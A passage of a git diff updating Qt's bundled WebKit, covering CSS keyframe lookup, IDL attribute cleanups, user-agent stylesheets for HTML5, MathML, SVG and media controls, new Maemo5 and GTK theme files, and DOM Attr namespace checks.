-        InterfaceUUID=87b7cde8-5818-4f68-b554-5382e6d9428c,
-        ImplementationUUID=b000d468-bb7a-4866-8946-5dea8b6a3c13
-    ] WebKitCSSKeyframeRule : CSSRule {
+    interface WebKitCSSKeyframeRule : CSSRule {
 
         attribute DOMString keyText;
         readonly attribute CSSStyleDeclaration style;
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.cpp b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.cpp
index 440d7a2..23f9f34 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.cpp
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.cpp
@@ -108,8 +108,16 @@ WebKitCSSKeyframeRule* WebKitCSSKeyframesRule::findRule(const String& s)
 
 int WebKitCSSKeyframesRule::findRuleIndex(const String& key) const
 {
+    String percentageString;
+    if (equalIgnoringCase(key, "from"))
+        percentageString = "0%";
+    else if (equalIgnoringCase(key, "to"))
+        percentageString = "100%";
+    else
+        percentageString = key;
+
     for (unsigned i = 0; i < length(); ++i) {
-        if (item(i)->keyText() == key)
+        if (item(i)->keyText() == percentageString)
             return i;
     }
 
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.h b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.h
index 8c76b61..f58406f 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.h
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.h
@@ -64,7 +64,7 @@ public:
     // themselves, or know that it will get called later.
     void setNameInternal(const String& name)
     {   
-        m_name = name;
+        m_name = AtomicString(name);
     }
 
     CSSRuleList* cssRules() { return m_lstCSSRules.get(); }
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.idl b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.idl
index 2b64be1..c40aff9 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.idl
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSKeyframesRule.idl
@@ -30,10 +30,7 @@ module css {
 
     // Introduced in DOM Level ?:
     interface [
-        GenerateConstructor,
-        HasIndexGetter,
-        InterfaceUUID=49f5644a-5dbb-4e31-ac6b-9446ae3895c9,
-        ImplementationUUID=a7c78aaa-5883-4ef2-a8bd-f2f1a1fd025a
+        HasIndexGetter
     ] WebKitCSSKeyframesRule : CSSRule {
 
         attribute [ConvertNullStringTo=Null, ConvertNullToNullString] DOMString name;
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSMatrix.idl b/src/3rdparty/webkit/WebCore/css/WebKitCSSMatrix.idl
index 6b22da1..9d6c897 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSMatrix.idl
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSMatrix.idl
@@ -26,7 +26,7 @@
 module css {
 
     // Introduced in DOM Level ?:
-    interface WebKitCSSMatrix {
+    interface [CustomConstructor] WebKitCSSMatrix {
 
         // These attributes are simple aliases for certain elements of the 4x4 matrix
         attribute double a; // alias for m11
diff --git a/src/3rdparty/webkit/WebCore/css/WebKitCSSTransformValue.idl b/src/3rdparty/webkit/WebCore/css/WebKitCSSTransformValue.idl
index 14a373f..087aa82 100644
--- a/src/3rdparty/webkit/WebCore/css/WebKitCSSTransformValue.idl
+++ b/src/3rdparty/webkit/WebCore/css/WebKitCSSTransformValue.idl
@@ -29,10 +29,7 @@
 module css {
 
     interface [
-            GenerateConstructor,
             HasIndexGetter
-            InterfaceUUID=303fe632-5dcf-4472-b977-33a5481e1d12,
-            ImplementationUUID=eb49e5c6-6075-45b8-b5c4-7e775c01e7c4
     ] WebKitCSSTransformValue : CSSValueList {
 
         // OperationTypes
diff --git a/src/3rdparty/webkit/WebCore/css/html.css b/src/3rdparty/webkit/WebCore/css/html.css
index 095fab3..d036be0 100644
--- a/src/3rdparty/webkit/WebCore/css/html.css
+++ b/src/3rdparty/webkit/WebCore/css/html.css
@@ -72,7 +72,7 @@ layer {
     display: block
 }
 
-nav {
+article, aside, footer, header, hgroup, nav, section {
     display: block
 }
 
@@ -359,6 +359,17 @@ input::-webkit-input-list-button {
     display: inline-block;
 }
 
+input::-webkit-inner-spin-button {
+    -webkit-appearance: inner-spin-button;
+    display: inline-block;
+}
+
+input::-webkit-outer-spin-button {
+    -webkit-appearance: outer-spin-button;
+    display: inline-block;
+    margin-left: 2px;
+}
+
 textarea {
     -webkit-appearance: textarea;
     background-color: white;
@@ -504,6 +515,19 @@ option {
     font-weight: normal;
 }
 
+/* progress */
+
+progress {
+    -webkit-appearance: progress-bar;
+    padding: initial;
+    border: initial;
+    margin: 2px;
+}
+
+progress::-webkit-progress-bar {
+    -webkit-appearance: progress-bar;
+}
+
 /* datagrid */
 
 datagrid {
@@ -607,6 +631,23 @@ a:-webkit-any-link:active {
     color: -webkit-activelink
 }
 
+/* HTML5 ruby elements */
+
+ruby, rt {
+    text-indent: 0; /* blocks used for ruby rendering should not trigger this */
+    line-height: normal;
+}
+
+ruby > rt {
+    display: block;
+    font-size: 60%; /* make slightly larger than 50% for better readability */
+    text-align: center;
+}
+
+ruby > rp {
+    display: none;
+}
+
 /* other elements */
 
 noframes {
diff --git a/src/3rdparty/webkit/WebCore/css/make-css-file-arrays.pl b/src/3rdparty/webkit/WebCore/css/make-css-file-arrays.pl
index 05c8fd1..dad530c 100755
--- a/src/3rdparty/webkit/WebCore/css/make-css-file-arrays.pl
+++ b/src/3rdparty/webkit/WebCore/css/make-css-file-arrays.pl
@@ -23,14 +23,6 @@
 use strict;
 use Getopt::Long;
 
-my $preprocessor;
-
-GetOptions('preprocessor=s' => \$preprocessor);
-
-if (!$preprocessor) {
-    $preprocessor = "/usr/bin/gcc -E -P -x c++";
-}
-
 my $header = $ARGV[0];
 shift;
 
@@ -48,7 +40,7 @@ for my $in (@ARGV) {
     my $name = $1;
 
     # Slurp in the CSS file.
-    open IN, $preprocessor . " " . $in . "|" or die;
+    open IN, "<", $in or die;
     my $text; { local $/; $text = <IN>; }
     close IN;
 
diff --git a/src/3rdparty/webkit/WebCore/css/maketokenizer b/src/3rdparty/webkit/WebCore/css/maketokenizer
index efac3c6..90d5fcb 100644
--- a/src/3rdparty/webkit/WebCore/css/maketokenizer
+++ b/src/3rdparty/webkit/WebCore/css/maketokenizer
@@ -1,7 +1,5 @@
 print <<END;
 /*
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2003 Lars Knoll (knoll\@kde.org)
  *
  *
diff --git a/src/3rdparty/webkit/WebCore/css/mathml.css b/src/3rdparty/webkit/WebCore/css/mathml.css
index e725d8c..8b4da3e 100644
--- a/src/3rdparty/webkit/WebCore/css/mathml.css
+++ b/src/3rdparty/webkit/WebCore/css/mathml.css
@@ -1,91 +1,116 @@
 @namespace "http://www.w3.org/1998/Math/MathML";
 
-/* approved */
 math {
-    font-family: Symbol, STIXGeneral, "Times New Roman";
+    font-family: Symbol, "Times New Roman";
     display: inline-block;
     padding: 0px;
     margin: 0px;
-    text-indent: 0;
-    font-size: 1.1em;
     vertical-align: baseline;
+    line-height: 1.0;
 }
+
 math[display="block"] {
-    font-family: "New Times Roman"
     display: block;
     text-align: center;
     page-break-inside: avoid;
+    margin-bottom: 1em;
+}
+
+math > * {
+    vertical-align: baseline;
+}
+
+mrow, mfenced {
+    display: inline-block;
+    white-space: nowrap;
+    vertical-align: middle;
+}
+
+mrow > mo, mfenced > mo, math > mo
+{
+    vertical-align: middle;
+}
+
+mi, mtext {
+    font-style: italic;
+    padding-right: 0.1em;
+}
+
+mi + mrow {
+    margin-left: 0.1em;
 }
 
 mfrac {
+    display: inline-block;
     vertical-align: middle;
 }
 
 msub, msup {
-   display: inline-block;
+    display: inline-block;
+    vertical-align: baseline;
 }
 
 msub > * + * {
-   vertical-align: sub;
-   font-size: 0.75em;
-   line-height: 0.75em;
+    vertical-align: sub;
+    font-size: 0.75em;
 }
 
 msup > * + * {
-   vertical-align: super;
-   font-size: 0.75em;
-   line-height: 0.75em;
+    vertical-align: super;
+    font-size: 0.75em;
+}
+
+msubsup {
+    display: inline-block;
+    vertical-align: baseline;
 }
 
 msubsup > * {
     margin: 0px;
     padding: 0px;
-    vertical-align: middle;
 }
 
 msubsup > * + * {
-   font-size: 0.75em;
-   line-height: 0.75em;
+    font-size: 0.75em;
 }
 
-munderover {
-    vertical-align: middle;
+munder, mover, munderover {
+    display: inline-block;
+    vertical-align: baseline;
 }
 
 munderover > * + *, mover > * + *, munder > * + * {
-   font-size: 0.75em;
-   line-height: 0.5625em;
+    font-size: 0.75em;
 }
 
-mrow {
-    line-height: 1em;
-    white-space: nowrap;
-    vertical-align: middle;
+mover > mi {
+    text-align: center;
 }
 
-mfenced > * {
-    vertical-align: middle;
+mo, mn, mi, mtext {
+    padding: 0px;
+    margin: 0px;
+}
+
+mo {
+    display: inline-block;
 }
 
-mo, mn, mi {
-   line-height: 0.75em;
-   padding: 0px;
-   margin: 0px;
+mo {
+    padding-left: 0.05em;
+    padding-right: 0.05em;
 }
 
 mo[mathsize="small"], mn[mathsize="small"], mi[mathsize="small"] {
-   font-size: 0.75em;
-   line-height: 0.5625em;
+    font-size: 0.75em;
 }
 
 mo[mathsize="normal"],mn[mathsize="normal"],mi[mathsize="normal"] {
-   font-size: 1em;
-   line-height: 0.75em;
+    font-size: 1em;
 }
 
 mo[mathsize="big"], mn[mathsize="big"], mi[mathsize="big"] {
-   line-height: 1.2em;
-   font-size: 1.5em;
+    font-size: 1.5em;
 }
  
 annotation, annotation-xml {
@@ -100,25 +125,25 @@ merror {
 }
 
 msqrt {
+    display: inline-block;
     padding-top: 0.2em;
     padding-left: 0.75em;
 }
 
 mroot {
+    display: inline-block;
     padding-top: 0.2em;
     padding-left: 0.2em;
 }
 
 mroot > * + * {
     font-size: 0.75em;
-    line-height: 0.75em;
     vertical-align: top;
     padding-right: 0.3em;
 }
 
 mtable {
     display: inline-table;
-    line-height: 1.5em;
     text-align: center;
     vertical-align: middle;
 }
@@ -168,3 +193,6 @@ mtable[columnlines="dashed"] > mtr > mtd + mtd {
     border-left: dashed thin;
 }
 
+mspace[linebreak="newline"] {
+    display: block;
+}
diff --git a/src/3rdparty/webkit/WebCore/css/mediaControls.css b/src/3rdparty/webkit/WebCore/css/mediaControls.css
index d0ec90d..de2c2fe 100644
--- a/src/3rdparty/webkit/WebCore/css/mediaControls.css
+++ b/src/3rdparty/webkit/WebCore/css/mediaControls.css
@@ -124,3 +124,10 @@ audio::-webkit-media-controls-rewind-button, video::-webkit-media-controls-rewin
 audio::-webkit-media-controls-return-to-realtime-button, video::-webkit-media-controls-return-to-realtime-button {
     display: none;
 }
+
+audio::-webkit-media-controls-toggle-closed-captions-button, video::-webkit-media-controls-toggle-closed-captions-button {
+    -webkit-appearance: media-toggle-closed-captions-button;
+    display: -webkit-box;
+    width: 16px;
+    height: 16px;
+}
diff --git a/src/3rdparty/webkit/WebCore/css/mediaControlsGtk.css b/src/3rdparty/webkit/WebCore/css/mediaControlsGtk.css
new file mode 100644
index 0000000..cc6da14
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/css/mediaControlsGtk.css
@@ -0,0 +1,65 @@
+/*
+ * WebKitGTK+ specific overrides for HTML5 media elements.
+ *
+ * Copyright (C) 2009 Zan Dobersek <zandobersek@gmail.com>
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Library General Public
+ * License as published by the Free Software Foundation; either
+ * version 2 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Library General Public License for more details.
+ *
+ * You should have received a copy of the GNU Library General Public License
+ * along with this library; see the file COPYING.LIB.  If not, write to
+ * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
+ * Boston, MA 02110-1301, USA.
+ *
+ */
+
+audio {
+    height: 20px;
+    width: 300px;
+}
+
+audio::-webkit-media-controls-panel, video::-webkit-media-controls-panel {
+    height: 20px;
+}
+
+audio::-webkit-media-controls-mute-button, video::-webkit-media-controls-mute-button {
+    width: 20px;
+    height: 20px;
+}
+
+audio::-webkit-media-controls-play-button, video::-webkit-media-controls-play-button {
+    width: 20px;
+    height: 20px;
+}
+
+audio::-webkit-media-controls-timeline-container, video::-webkit-media-controls-timeline-container {
+    height: 20px;
+    border-left: 1px solid rgba(255, 255, 255, 0.2);
+    border-right: 1px solid rgba(255, 255, 255, 0.2);
+}
+
+audio::-webkit-media-controls-timeline, video::-webkit-media-controls-timeline {
+    height: 20px;
+}
+
+audio::-webkit-media-controls-seek-back-button, video::-webkit-media-controls-seek-back-button {
+    width: 20px;
+    height: 20px;
+}
+
+audio::-webkit-media-controls-seek-forward-button, video::-webkit-media-controls-seek-forward-button {
+    width: 20px;
+    height: 20px;
+}
+
+audio::-webkit-media-controls-fullscreen-button, video::-webkit-media-controls-fullscreen-button {
+    width: 20px;
+    height: 20px;
+}
diff --git a/src/3rdparty/webkit/WebCore/css/mediaControlsQt.css b/src/3rdparty/webkit/WebCore/css/mediaControlsQt.css
index a9c3609..d49fe96 100644
--- a/src/3rdparty/webkit/WebCore/css/mediaControlsQt.css
+++ b/src/3rdparty/webkit/WebCore/css/mediaControlsQt.css
@@ -51,8 +51,6 @@ video:-webkit-full-page-media::-webkit-media-controls-panel {
 }
 
 audio::-webkit-media-controls-mute-button, video::-webkit-media-controls-mute-button {
-    left: auto;
-    right: 5px;
     width: 12px;
     height: 12px;
     padding: 6px;
@@ -60,7 +58,6 @@ audio::-webkit-media-controls-mute-button, video::-webkit-media-controls-mute-bu
 }
 
 audio::-webkit-media-controls-play-button, video::-webkit-media-controls-play-button {
-    left: 5px;
     width: 9px;
     height: 12px;
     padding: 6px 12px 6px 11px;
@@ -72,7 +69,21 @@ audio::-webkit-media-controls-timeline-container, video::-webkit-media-controls-
 }
 
 audio::-webkit-media-controls-current-time-display, video::-webkit-media-controls-current-time-display {
-    display: none;
+    -webkit-appearance: media-current-time-display;
+    -webkit-user-select: none;
+    display: inline-block;
+    height: 12px;
+    padding: 6px;
+    margin: 5px 3px;
+
+    overflow: hidden;
+    cursor: default;
+
+    text-align: center;
+    font-size: 10px;
+    font-family: Verdana;
+    font-weight: bold;
+    color: white;
 }
 
 audio::-webkit-media-controls-time-remaining-display, video::-webkit-media-controls-time-remaining-display {
@@ -80,51 +91,38 @@ audio::-webkit-media-controls-time-remaining-display, video::-webkit-media-contr
 }
 
 audio::-webkit-media-controls-timeline, video::-webkit-media-controls-timeline {
-    left: 42px;
-    right: 34px;
     height: 12px;
     padding: 6px 8px;
-    margin: 5px 0px;
+    margin: 5px 3px;
 }
 
 audio::-webkit-media-controls-volume-slider-container, video::-webkit-media-controls-volume-slider-container {
-    display: none;
+    -webkit-appearance: media-volume-slider-container;
+    position: absolute;
+    height: 103px;
+    width: 24px;
 }
 
 audio::-webkit-media-controls-volume-slider, video::-webkit-media-controls-volume-slider {
-    display: none;
+    -webkit-appearance: media-volume-slider;
+    display: inline;
+    position: absolute;
+
+    width: 12px;
+    padding: 6px;
+    height: 88px;
+    margin: 0 0 3px 0;
 }
 
 audio::-webkit-media-controls-seek-back-button, video::-webkit-media-controls-seek-back-button {
-    /* Since MediaControlElements are always created with a renderer we have to hide
-       the controls we don't use, so they don't mess up activation and event handling */
-    left: 0px;
-    top: 0px;
-    width: 0px;
-    height: 0px;
-
     display: none;
 }
 
 audio::-webkit-media-controls-seek-forward-button, video::-webkit-media-controls-seek-forward-button {
-    /* Since MediaControlElements are always created with a renderer we have to hide
-       the controls we don't use, so they don't mess up activation and event handling */
-    left: 0px;
-    top: 0px;
-    width: 0px;
-    height: 0px;
-
     display: none;
 }
 
 audio::-webkit-media-controls-fullscreen-button, video::-webkit-media-controls-fullscreen-button {
-    /* Since MediaControlElements are always created with a renderer we have to hide
-       the controls we don't use, so they don't mess up activation and event handling */
-    left: 0px;
-    top: 0px;
-    width: 0px;
-    height: 0px;
-
     display: none;
 }
 
@@ -136,3 +134,7 @@ audio::-webkit-media-controls-return-to-realtime-button, video::-webkit-media-co
     display: none;
 }
 
+audio::-webkit-media-controls-toggle-closed-captions-button, video::-webkit-media-controls-toggle-closed-captions-button {
+    display: none;
+}
+
diff --git a/src/3rdparty/webkit/WebCore/css/mediaControlsQuickTime.css b/src/3rdparty/webkit/WebCore/css/mediaControlsQuickTime.css
index 5cf48ae..965685d 100644
--- a/src/3rdparty/webkit/WebCore/css/mediaControlsQuickTime.css
+++ b/src/3rdparty/webkit/WebCore/css/mediaControlsQuickTime.css
@@ -132,7 +132,7 @@ audio::-webkit-media-controls-fullscreen-button, video::-webkit-media-controls-f
     height: 16px;
     margin-left: 7px;
     margin-right: 7px;
-    -webkit-box-ordinal-group: 3; /* At the very end */
+    -webkit-box-ordinal-group: 4; /* At the very end */
 }
 
 audio::-webkit-media-controls-rewind-button, video::-webkit-media-controls-rewind-button {
@@ -175,3 +175,13 @@ audio::-webkit-media-controls-status-display, video::-webkit-media-controls-stat
     text-indent: 0;
     text-decoration: none;
 }
+
+audio::-webkit-media-controls-toggle-closed-captions-button, video::-webkit-media-controls-toggle-closed-captions-button {
+    -webkit-appearance: media-toggle-closed-captions-button;
+    display: -webkit-box;
+    width: 16px;
+    height: 16px;
+    margin-left: 7px;
+    margin-right: 7px;
+    -webkit-box-ordinal-group: 3; /* between mute and fullscreen */
+}
diff --git a/src/3rdparty/webkit/WebCore/css/svg.css b/src/3rdparty/webkit/WebCore/css/svg.css
index 322eda8..171c1c4 100644
--- a/src/3rdparty/webkit/WebCore/css/svg.css
+++ b/src/3rdparty/webkit/WebCore/css/svg.css
@@ -32,9 +32,18 @@
     which does not use CSS layout [CSS2-LAYOUT] or XSL formatting [XSL], the 'overflow' property on the 
     outermost 'svg' element is ignored for the purposes of visual rendering and the initial clipping path is set 
     to the bounds of the initial viewport.
+
+    When an outermost 'svg' element is embedded inline within a parent XML grammar which uses CSS layout
+    [CSS2-LAYOUT] or XSL formatting [XSL], if the 'overflow' property has the value hidden or scroll, then
+    the user agent will establish an initial clipping path equal to the bounds of the initial viewport; otherwise,
+    the initial clipping path is set according to the clipping rules as defined in [CSS2-overflow].
+
+    Opera/Firefox & WebKit agreed on NOT setting "overflow: hidden" for the outermost svg element - SVG 1.1 Errata
+    contains these changes as well as all future SVG specifications: see http://lists.w3.org/Archives/Public/public-svg-wg/2008JulSep/0347.html
 */
-svg:root {
-    overflow: hidden !important
+
+svg:not(:root), symbol, image, marker, pattern, foreignObject {
+    overflow: hidden
 }
 
 svg {
@@ -42,10 +51,6 @@ svg {
     height: 100%;
 }
 
-svg, symbol, marker, pattern {
-    overflow: hidden
-}
-
 text, foreignObject {
     display: block
 }
diff --git a/src/3rdparty/webkit/WebCore/css/themeQtMaemo5.css b/src/3rdparty/webkit/WebCore/css/themeQtMaemo5.css
new file mode 100644
index 0000000..c568d5d
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/css/themeQtMaemo5.css
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+input[type="button"],
+input[type="submit"],
+input[type="reset"],
+input[type="file"]::-webkit-file-upload-button, button,
+select {
+    padding: 2px 18px 3px 18px;
+    border: 1px solid black;
+    -webkit-border-radius:5px;
+    background-color: ButtonFace;
+}
+
+input[type="button"]:disabled,
+input[type="submit"]:disabled,
+input[type="reset"]:disabled,
+input[type="file"]:disabled::-webkit-file-upload-button,
+button:disabled,
+select:disabled {
+    border: 1px solid gray;
+}
+
+input[type="button"]:active,
+input[type="submit"]:active,
+input[type="reset"]:active,
+input[type="file"]:active::-webkit-file-upload-button,
+button:active,
+select:active{
+    background-color: ButtonShadow;
+}
+
+input[type="button"]:active:disabled,
+input[type="submit"]:active:disabled,
+input[type="reset"]:active:disabled,
+input[type="file"]:active:disabled::-webkit-file-upload-button,
+button:active:disabled,
+select:active:disabled {
+    border: 1px solid gray;
+}
+
+input:not([type]),
+input[type="text"],
+input[type="password"],
+textarea {
+    border: 1px solid black;
+}
+
+input:not([type]):disabled,
+input[type="text"]:disabled,
+input[type="password"]:disabled,
+textarea:disabled {
+    border: 1px solid grey;
+    background-color:ButtonHighlight;
+}
+
+input:not([type]):active,
+input[type="text"]:active,
+input[type="password"]:active,
+textarea:active {
+    background-color:ButtonShadow;
+}
diff --git a/src/3rdparty/webkit/WebCore/css/themeQtNoListboxes.css b/src/3rdparty/webkit/WebCore/css/themeQtNoListboxes.css
new file mode 100644
index 0000000..4c5e44a
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/css/themeQtNoListboxes.css
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies)
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *     * Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ *     * Redistributions in binary form must reproduce the above
+ * copyright notice, this list of conditions and the following disclaimer
+ * in the documentation and/or other materials provided with the
+ * distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+select[size],
+select[multiple],
+select[size][multiple] {
+    -webkit-appearance: menulist;
+    -webkit-box-align: center;
+    border: 1px solid;
+    -webkit-border-radius: 5px;
+    white-space: pre;
+}
diff --git a/src/3rdparty/webkit/WebCore/css/tokenizer.flex b/src/3rdparty/webkit/WebCore/css/tokenizer.flex
index 1569ee2..3af725c 100644
--- a/src/3rdparty/webkit/WebCore/css/tokenizer.flex
+++ b/src/3rdparty/webkit/WebCore/css/tokenizer.flex
@@ -24,13 +24,13 @@ url             ([!#$%&*-~]|{nonascii}|{escape})*
 w               [ \t\r\n\f]*
 nl              \n|\r\n|\r|\f
 range           \?{1,6}|{h}(\?{0,5}|{h}(\?{0,4}|{h}(\?{0,3}|{h}(\?{0,2}|{h}(\??|{h})))))
-nth             (-?[0-9]*n[\+-][0-9]+)|(-?[0-9]*n)
+nth             [\+-]?{intnum}*n([\+-]{intnum})?
 
 %%
 
-\/\*[^*]*\*+([^/*][^*]*\*+)*\/  /* ignore comments */
+\/\*[^*]*\*+([^/*][^*]*\*+)*\/ {countLines(); /* ignore comments */ }
 
-[ \t\r\n\f]+            {yyTok = WHITESPACE; return yyTok;}
+[ \t\r\n\f]+            {countLines(); yyTok = WHITESPACE; return yyTok;}
 
 "<!--"                  {yyTok = SGML_CD; return yyTok;}
 "-->"                   {yyTok = SGML_CD; return yyTok;}
diff --git a/src/3rdparty/webkit/WebCore/css/view-source.css b/src/3rdparty/webkit/WebCore/css/view-source.css
index f898565..60467b9 100644
--- a/src/3rdparty/webkit/WebCore/css/view-source.css
+++ b/src/3rdparty/webkit/WebCore/css/view-source.css
@@ -130,7 +130,7 @@ td {
     -webkit-border-fit: lines;
     min-height: 13px;
     font-size: 9px;
-    font-family: Lucida Grande;
+    font-family: Lucida Grande, sans-serif;
     font-weight: bold;
     margin: 6px 25px;
     padding: 0 7px 1px;
diff --git a/src/3rdparty/webkit/WebCore/dom/Attr.cpp b/src/3rdparty/webkit/WebCore/dom/Attr.cpp
index aa5916b..2ef5f9b 100644
--- a/src/3rdparty/webkit/WebCore/dom/Attr.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/Attr.cpp
@@ -27,9 +27,12 @@
 #include "Element.h"
 #include "ExceptionCode.h"
 #include "Text.h"
+#include "XMLNSNames.h"
 
 namespace WebCore {
 
+using namespace HTMLNames;
+
 inline Attr::Attr(Element* element, Document* document, PassRefPtr<Attribute> attribute)
     : ContainerNode(document)
     , m_element(element)
@@ -100,7 +103,13 @@ void Attr::setPrefix(const AtomicString& prefix, ExceptionCode& ec)
     if (ec)
         return;
 
-    m_attribute->setPrefix(prefix);
+    if ((prefix == xmlnsAtom && namespaceURI() != XMLNSNames::xmlnsNamespaceURI)
+        || static_cast<Attr*>(this)->qualifiedName() == xmlnsAtom) {
+        ec = NAMESPACE_ERR;
+        return;
+    }
+
+    m_attribute->setPrefix(prefix.isEmpty() ? AtomicString() : prefix);
 }
 
 String Attr::nodeValue() const
@@ -164,4 +173,9 @@ void Attr::childrenChanged(bool changedByParser, Node* beforeChange, Node* after
         m_element->attributeChanged(m_attribute.get());
 }
 
+bool Attr::isId() const
+{
+    return qualifiedName().matches(m_element ? m_element->idAttributeName() : idAttr);
+}
+
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/Attr.h b/src/3rdparty/webkit/WebCore/dom/Attr.h
index e927a6e..2e02a02 100644
--- a/src/3rdparty/webkit/WebCore/dom/Attr.h
+++ b/src/3rdparty/webkit/WebCore/dom/Attr.h
@@ -52,6 +52,8 @@ public:
     Attribute* attr() const { return m_attribute.get(); }
     const QualifiedName& qualifiedName() const { return m_attribute->name(); }
 
+    bool isId() const;
+
     // An extension to get presentational information for attributes.
     CSSStyleDeclaration* style() { return m_attribute->style(); }
 
diff --git a/src/3rdparty/webkit/WebCore/dom/Attr.idl b/src/3rdparty/webkit/WebCore/dom/Attr.idl
index c01f34a..af84478 100644
--- a/src/3rdparty/webkit/WebCore/dom/Attr.idl
+++ b/src/3rdparty/webkit/WebCore/dom/Attr.idl
@@ -22,10 +22,7 @@ module core {
 
     interface [
         CustomMarkFunction,
-        GenerateConstructor,
-        GenerateNativeConverter,
-        InterfaceUUID=EEE8E22B-22C3-4e50-95F4-5E0B8AAD8231,
-        ImplementationUUID=41B16348-D8E7-4d21-BFDB-125705B7E91F
+        GenerateNativeConverter
     ] Attr : Node {
 
         // DOM Level 1
@@ -38,11 +35,13 @@ module core {
         // DOM Level 2
 
         readonly attribute Element ownerElement;
-        
+
+        // DOM Level 3
+
+        readonly attribute boolean isId;
+
         // extensions
-#if !defined(LANGUAGE_COM) || !LANGUAGE_COM
         readonly attribute CSSStyleDeclaration style;
-#endif
     };
 
 }
diff --git a/src/3rdparty/webkit/WebCore/dom/BeforeLoadEvent.idl b/src/3rdparty/webkit/WebCore/dom/BeforeLoadEvent.idl
index d06a39d..9c8b7e5 100644
--- a/src/3rdparty/webkit/WebCore/dom/BeforeLoadEvent.idl
+++ b/src/3rdparty/webkit/WebCore/dom/BeforeLoadEvent.idl
@@ -26,9 +26,7 @@
 
 module events {
 
-    interface [
-        GenerateConstructor
-    ] BeforeLoadEvent : Event {
+    interface BeforeLoadEvent : Event {
         void initBeforeLoadEvent(in DOMString type,
                                  in boolean canBubble, 
                                  in boolean cancelable,
diff --git a/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.cpp b/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.cpp
index 2521aa1..97d7f97 100644
--- a/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.cpp
+++ b/src/3rdparty/webkit/WebCore/dom/BeforeUnloadEvent.cpp
@@ -1,6 +1,4 @@
 /**
- * This file is part of the DOM implementation for KDE.
- *
  * Copyright (C) 2001 Peter Kelly (pmk@post.com)
